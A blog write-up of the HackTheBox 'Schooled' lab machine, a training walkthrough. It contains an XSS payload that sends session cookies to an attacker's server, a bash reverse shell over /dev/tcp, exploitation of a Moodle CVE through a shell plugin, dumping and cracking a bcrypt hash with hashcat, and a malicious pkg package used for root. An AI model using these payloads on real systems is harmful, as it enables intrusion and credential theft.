HackTheBox – Schooled Write-up

Hi everyone!

Today’s post is on Schooled, a medium-level HackTheBox FreeBSD machine. This machine was released on 4 April 2021. This challenge test on enumerating vhost for subdomains, XSS to steal session cookies, exploiting Moodle’s CVE2020-14321 for RCE, accessing MySQL for user table’s BCrypt hash password, hashcat to crack the hash, and exploiting pkg GTFObins for privilege escalation. Let’s get started!

Tools required

Service discovery with Nmap

└─$ IP=              
└─$ nmap -A -p1-9999 -v $IP
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-05 20:41 +08
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 20:41
Completed NSE at 20:41, 0.00s elapsed
Initiating NSE at 20:41
Completed NSE at 20:41, 0.00s elapsed
Initiating NSE at 20:41
Completed NSE at 20:41, 0.00s elapsed
Initiating Ping Scan at 20:41
Scanning [2 ports]
Completed Ping Scan at 20:41, 0.17s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 20:41
Completed Parallel DNS resolution of 1 host. at 20:41, 0.02s elapsed
Initiating Connect Scan at 20:41
Scanning [9999 ports]
Discovered open port 80/tcp on
Discovered open port 22/tcp on
Increasing send delay for from 0 to 5 due to max_successful_tryno increase to 4
Increasing send delay for from 5 to 10 due to max_successful_tryno increase to 5
Increasing send delay for from 10 to 20 due to max_successful_tryno increase to 6
Connect Scan Timing: About 12.08% done; ETC: 20:46 (0:03:46 remaining)
Connect Scan Timing: About 24.23% done; ETC: 20:46 (0:03:11 remaining)
Connect Scan Timing: About 37.93% done; ETC: 20:45 (0:02:29 remaining)
Connect Scan Timing: About 51.26% done; ETC: 20:45 (0:01:55 remaining)
Connect Scan Timing: About 64.30% done; ETC: 20:45 (0:01:24 remaining)
Connect Scan Timing: About 77.49% done; ETC: 20:45 (0:00:53 remaining)
Completed Connect Scan at 20:45, 233.92s elapsed (9999 total ports)
Initiating Service scan at 20:45
Scanning 2 services on
Completed Service scan at 20:45, 6.50s elapsed (2 services on 1 host)
NSE: Script scanning
Initiating NSE at 20:45
Completed NSE at 20:46, 4.95s elapsed
Initiating NSE at 20:46
Completed NSE at 20:46, 0.71s elapsed
Initiating NSE at 20:46
Completed NSE at 20:46, 0.00s elapsed
Nmap scan report for
Host is up (0.14s latency).
Not shown: 9997 closed ports
22/tcp open  ssh     OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey: 
|   2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
|   256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_  256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp open  http    Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
|_http-favicon: Unknown favicon MD5: 460AF0375ECB7C08C3AE0B6E0B82D717
| http-methods: 
|   Supported Methods: OPTIONS HEAD GET POST TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
|_http-title: Schooled - A new kind of educational institute
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

NSE: Script Post-scanning.
Initiating NSE at 20:46
Completed NSE at 20:46, 0.00s elapsed
Initiating NSE at 20:46
Completed NSE at 20:46, 0.00s elapsed
Initiating NSE at 20:46
Completed NSE at 20:46, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 247.79 seconds

We can see that the server is indeed running on FreeBSD. Since a website is available, let’s go check it out!

Outlook of the main website

Fig 4a. The main page of http://schooled.htb
Fig 4b. Bottom of the page of http://schooled.htb

At the bottom page, we can immediately see that the domain name is schooled.htb. Let’s go to our /etc/hosts to add it.

└─$ sudo nano /etc/hosts       localhost       kali schooled.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

There are other pages we can access too in http://schooled.htb.

Fig 4c. Teachers/staff of the website

There are other pages too which can be navigated from the navigation bar at the top but other pages do not have anything interesting.

Outlook of the subdomain website

Fuzz subdomain

We can use Gobuster to fuzz for subdomain using the following command.

└─$ gobuster vhost -u http://schooled.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt 
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:          http://schooled.htb
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
2021/08/06 11:15:21 Starting gobuster in VHOST enumeration mode
Found: moodle.schooled.htb (Status: 200) [Size: 84]
2021/08/06 11:16:41 Finished

Since we found moodle.schooled.htb, let’s add it into /etc/hosts as well.       localhost       kali schooled.htb moodle.schooled.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

We can now visit the subdomain website and enumerate it!

Fig 5a. Home page of http://moodle.schooled.htb

We can clear an account before enrolling in a course. Note that the email must have the @student.schooled.htb subdomain or else they will prompt for it.

Fig. 5b. Login page of moodle.schooled.htb
Fig 5c. Subdomain error prompted when creating an account

XSS vulnerability to pivot to teacher account

Getting hints

When I check out all the courses, we can only enroll in Mathematics. Once we enrolled, we can see the announcement. Our maths lecturer wrote that he will checkout our MoodleNet profile. Based on this, we can try to place an XSS script to steal his session cookie.

Fig 6a. Maths lecturer’s announcement on checking MoodleNet profile

Crafting XSS and placed on vulnerable location

We can then add our XSS script as shown below. Do change to your own IP address.

<script>new Image().src=""+document.cookie;</script>
Fig 6b. XSS script added to MoodleNet Profile when editing our own profile

Next, run a Python HTTP server to listen to the incoming connection where the XSS script will trigger when our math lecture visits our profile page. Once triggered, an HTTP connection will be made where the cookie will be sent to us via GET request.

Wait for a while and you will see the math lecture’s session cookie is sent to us. Every 2 mins, a bot/script in the server will run to login into the math lecturer’s account and check out all enrolled’s students’ accounts.

└─$ python3 -m http.server 80                
Serving HTTP on port 80 ( ... - - [06/Aug/2021 15:57:03] code 404, message File not found - - [06/Aug/2021 15:57:03] "GET /cookie.php?c=MoodleSession=c32smhiiuc9lnek0fr20q8a4f4 HTTP/1.1" 404 -

Interesting discovery

While trying to find a way to steal the cookie, I discovered that the messaging function is also vulnerable to XSS. If our lecturer reads our message if we send the XSS script to them, their cookies will also be sent to us! Too bad the bot only checks our account’s profile and does not read messages.

Pivot to teacher’s account

Before pivoting to the teacher’s account, use Burpsuite to access the website as the next step of pivoting to the manager account requires Burpsuite.

Once you are at http://moodle.schooled.htb, press key F12 and replace your current cookie with the stolen cookie. Then press key F5 to refresh the page. You should be in the teacher’s account.

Fig 6c. Replaced cookie with stolen cookie

Use CVE for RCE

Pivot from teacher’s account to manager’s account

We can pivot to the manager account using CVE-2020-14321 as we know that this website is using Moodle Learning Management System (LMS). Follow the proof-of-concept (PoC) video here.

As you watch the video, you will notice you need to enroll someone before intercepting the request. Hence I unroll my own account which I created at the start of moodle.schooled.htb. Once unenrolled, I can enroll it and intercept the HTTP request to change the ID to Manuel Philip’s which is 24, and role ID to 1.

Fig 7a. Change the ID based on the PoC video

You can get Manuel Philip’s ID on his own profile page here:

Fig 7b. Getting own ID value

Based on the PoC video, you will see we need to login into the real manager’s account. If you still remember what we saw in Fig 4c, Lianne Carter is the real manager. Hence, search for her in the participant list. If she isn’t there, enroll her.

Fig 7c. Managers on the participant page of the Math course

Click on Lianne Carter’s name to go to her profile as shown in the PoC video. There will be a panel to login as her. Follow the video and do so.

Fig 7d. Administration panel on Lianne Carter’s profile

Remote code execution (RCE) and reverse shell

Continue to follow the whole video where we will change the permission of the manager role and finally upload an RCE.zip file which can be downloaded from this link.

Once we upload the RCE.zip as plugin, we can then access the “shell” via this link:


The URL above is sending the id command. We can intercept the request with Burpsuite and send our reverse shell/bash command:

/bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'

Remember to change the IP address to your own and the port you want your Netcat to listen on. Once you do so, highlight the command and press key CTRL+U to URL-encode it.

Fig 7e. URL encoded command for reverse shell

Before forwarding the request, make sure you are running Netcat and listening on the specified port already. If it is successful, you will see an incoming connection and a shell.

└─$ nc -lvnp 1337           
listening on [any] 1337 ...
connect to [] from (UNKNOWN) [] 58533
bash: cannot set terminal process group (2028): Can't assign requested address
bash: no job control in this shell
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$

Getting the user flag

Looking at possible user account to pivot

As our current account is only a www account, we do not have the flag. Hence we need to look at the possible accounts we can pivot to. These accounts can be found in /etc/passwd.

[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ cat /etc/passwd
# $FreeBSD$
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
unbound:*:59:59:Unbound DNS Resolver:/var/unbound:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
auditdistd:*:78:77:Auditdistd unprivileged user:/var/empty:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
ntpd:*:123:123:NTP Daemon:/var/db/ntp:/usr/sbin/nologin
_ypldap:*:160:160:YP LDAP unprivileged user:/var/empty:/usr/sbin/nologin
hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin
tests:*:977:977:Unprivileged user for tests:/nonexistent:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
cyrus:*:60:60:the cyrus mail server:/nonexistent:/usr/sbin/nologin
mysql:*:88:88:MySQL Daemon:/var/db/mysql:/usr/sbin/nologin
_tss:*:601:601:TCG Software Stack user:/var/empty:/usr/sbin/nologin
messagebus:*:556:556:D-BUS Daemon User:/nonexistent:/usr/sbin/nologin
avahi:*:558:558:Avahi Daemon User:/nonexistent:/usr/sbin/nologin
polkitd:*:565:565:Polkit Daemon User:/var/empty:/usr/sbin/nologin
cups:*:193:193:Cups Owner:/nonexistent:/usr/sbin/nologin
colord:*:970:970:colord color management daemon:/nonexistent:/usr/sbin/nologin
steve:*:1002:1002:User &:/home/steve:/bin/csh

The possible accounts are Jamie and Steve we can pivot to.

Fix MySQL’s path

Next, we need to find the password for those accounts. One possible place to look for is moodle’s database. The credentials can usually be found in the config.php file.

[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ cd /usr/local/www/apache24/data/moodle
[www@Schooled /usr/local/www/apache24/data/moodle]$ ls
[www@Schooled /usr/local/www/apache24/data/moodle]$ cat config.php
<?php  // Moodle configuration file

global $CFG;
$CFG = new stdClass();

$CFG->dbtype    = 'mysqli';
$CFG->dblibrary = 'native';
$CFG->dbhost    = 'localhost';
$CFG->dbname    = 'moodle';
$CFG->dbuser    = 'moodle';
$CFG->dbpass    = 'PlaybookMaster2020';
$CFG->prefix    = 'mdl_';
$CFG->dboptions = array (
  'dbpersist' => 0,
  'dbport' => 3306,
  'dbsocket' => '',
  'dbcollation' => 'utf8_unicode_ci',

$CFG->wwwroot   = 'http://moodle.schooled.htb/moodle';
$CFG->dataroot  = '/usr/local/www/apache24/moodledata';
$CFG->admin     = 'admin';

$CFG->directorypermissions = 0777;

require_once(__DIR__ . '/lib/setup.php');

// There is no php closing tag in this file,
// it is intentional because it prevents trailing whitespace problems!

We will realize the MySQL command is missing. This is because it is in a local directory which the path to it is not located in the $PATH. This leads to us having to find it which is in a local directory before adding it to $PATH.

[www@Schooled /usr/local/www/apache24/data/moodle]$ mysql --version
bash: mysql: command not found
[www@Schooled /usr/local/www/apache24/data/moodle]$ echo $PATH
[www@Schooled /usr/local/www/apache24/data/moodle]$ find / -name mysql
find: /root: Permission denied
find: /usr/local/var/db/tpm: Permission denied
find: /usr/local/var/lib/tpm: Permission denied
[www@Schooled /usr/local/www/apache24/data/moodle]$ export PATH="$PATH:/usr/local/bin"
[www@Schooled /usr/local/www/apache24/data/moodle]$ mysql --version
mysql  Ver 8.0.23 for FreeBSD13.0 on amd64 (Source distribution)

Getting user’s password from database

We can now use one-liner MySQL command to print out the list of tables in the database. Remember to include the credentials.

[www@Schooled /usr/local/www/apache24/data/moodle]$ mysql -u moodle -p --password=PlaybookMaster2020 -s -r -e "select * from information_schema.tables"
def     moodle  mdl_user        BASE TABLE      InnoDB  10      Compressed      28      292     8192    0       122880  0       29      2021-02-27 16:42:29     2021-08-06 15:28:47     NULL    utf8_unicode_ci NULL    row_format=COMPRESSEDOne record for each person

The results were pretty messy. It took me a while to look for the USER table which is mdl_user. I hiddle the rest of the tables so it won’t look messy on my blog post.

We can now print the content of the USER table using MySQL one-liner command again.

Fig 8. Hash password of Jamie’s account found
[www@Schooled /usr/local/www/apache24/data/moodle]$ mysql -u moodle -p --password=PlaybookMaster2020 -s -r -e "USE moodle; SELECT * FROM mdl_user"
2       manual  1       0       0       0       1       admin   $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW            Jamie   Borham  jamie@staff.schooled.htb        0      Bournemouth      GB      en      gregorian               99      1608320129      1608729680      1608681411      1608729680            0                       1       1       0       0       1       0       0       1608389236   0

After leaking the USER table, we can only find Jamie’s hashed password.

Cracking password hash

Based on this forum, we will know that the hashing algorithm is located in moodlelib.php in update_internal_user_password(). I printed the source code of that function which leads me to check out another function, hash_internal_user_password().

[www@Schooled /usr/local/www/apache24/data/moodle/lib]$ cat moodlelib.php | grep "function update_internal_user_password" -A 30
function update_internal_user_password($user, $password, $fasthash = false) {
    global $CFG, $DB;

    // Figure out what the hashed password should be.
    if (!isset($user->auth)) {
        debugging('User record in update_internal_user_password() must include field auth',
        $user->auth = $DB->get_field('user', 'auth', array('id' => $user->id));
    $authplugin = get_auth_plugin($user->auth);
    if ($authplugin->prevent_local_passwords()) {
        $hashedpassword = AUTH_PASSWORD_NOT_CACHED;
    } else {
        $hashedpassword = hash_internal_user_password($password, $fasthash);

    $algorithmchanged = false;

    if ($hashedpassword === AUTH_PASSWORD_NOT_CACHED) {
        // Password is not cached, update it if not set to AUTH_PASSWORD_NOT_CACHED.
        $passwordchanged = ($user->password !== $hashedpassword);

    } else if (isset($user->password)) {
        // If verification fails then it means the password has changed.
        $passwordchanged = !password_verify($password, $user->password);
        $algorithmchanged = password_needs_rehash($user->password, PASSWORD_DEFAULT);
    } else {
        // While creating new user, password in unset in $user object, to avoid
        // saving it with user_create()
        $passwordchanged = true;
[www@Schooled /usr/local/www/apache24/data/moodle/lib]$ cat moodlelib.php | grep "function hash_internal_user_password" -A 15
function hash_internal_user_password($password, $fasthash = false) {
    global $CFG;

    // Set the cost factor to 4 for fast hashing, otherwise use default cost.
    $options = ($fasthash) ? array('cost' => 4) : array();

    $generatedhash = password_hash($password, PASSWORD_DEFAULT, $options);

    if ($generatedhash === false || $generatedhash === null) {
        throw new moodle_exception('Failed to generate password hash.');

    return $generatedhash;

We can see that our password is hashed using PHP’s password_hash(). If we look at the documentation, we will see that it uses BCRYPT as it starts with $2y$, the password hash has 60 characters, and the value used as the parameter was PASSWORD_DEFAULT which uses BCRYPT.

Looking at HashCat‘s documentation, we should be using -m 3200.

└─$ hashcat -m 3200 moodle.hash /usr/share/wordlists/rockyou.txt
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

Session..........: hashcat
Status...........: Cracked
Hash.Name........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5G...l4qTiW
Time.Started.....: Fri Aug  6 23:05:19 2021 (6 mins, 27 secs)
Time.Estimated...: Fri Aug  6 23:11:46 2021 (0 secs)

It will take quite a while before we obtain the password, !QAZ2wsx.

SSH into Jamie’s account and get the user flag

└─$ ssh jamie@$IP
Password for jamie@Schooled: !QAZ2wsx
jamie@Schooled:~ $ 
jamie@Schooled:~ $ ls
jamie@Schooled:~ $ cat user.txt 

Privilege escalation and getting the root flag

Privilege escalation with GTFObins

As usual, we start of with sudo -l command to see what commands we can run as root privilege.

jamie@Schooled:~ $ sudo -l
User jamie may run the following commands on Schooled:
    (ALL) NOPASSWD: /usr/sbin/pkg update
    (ALL) NOPASSWD: /usr/sbin/pkg install *

Since we can use pkg, a quick googling will allow us to find the commands/steps to escalate privilege here.

TF=$(mktemp -d)                                                                                                                               
echo "/bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'" > $TF/x.sh
fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF

Paste the command above to generate a pkg package in your own system. The steps above will generate a reverse shell connection. Remember to change the IP address and port number.

Upload it from your system to schooled’s server to Jamie’s account.

└─$ scp ./x-1.0.txz jamie@$IP:.                                              
Password for jamie@Schooled: !QAZ2wsx

Once uploaded, you can install it. Before installing, remember to use Netcat and listen on the port you have specified.

jamie@Schooled:~ $ sudo pkg install -y --no-repo-update ./x-1.0.txz
pkg: Repository FreeBSD has a wrong packagesite, need to re-create database
pkg: Repository FreeBSD cannot be opened. 'pkg update' required
Checking integrity... done (0 conflicting)
The following 1 package(s) will be affected (of 0 checked):

New packages to be INSTALLED:
        x: 1.0

Number of packages to be installed: 1
[1/1] Installing x-1.0..

Your Netcat should have an incoming connection and obtain a root reversed shell.

└─$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [] from (UNKNOWN) [] 20398
[root@Schooled /usr/home/jamie]#

Obtaining the root flag

[root@Schooled /usr/home/jamie]# cd /root
[root@Schooled ~]# ls
[root@Schooled ~]# cat root.txt

I hope these tabs have been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction and the cost of hosting the website as well as the domain name fee. The link is here. 🙂

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.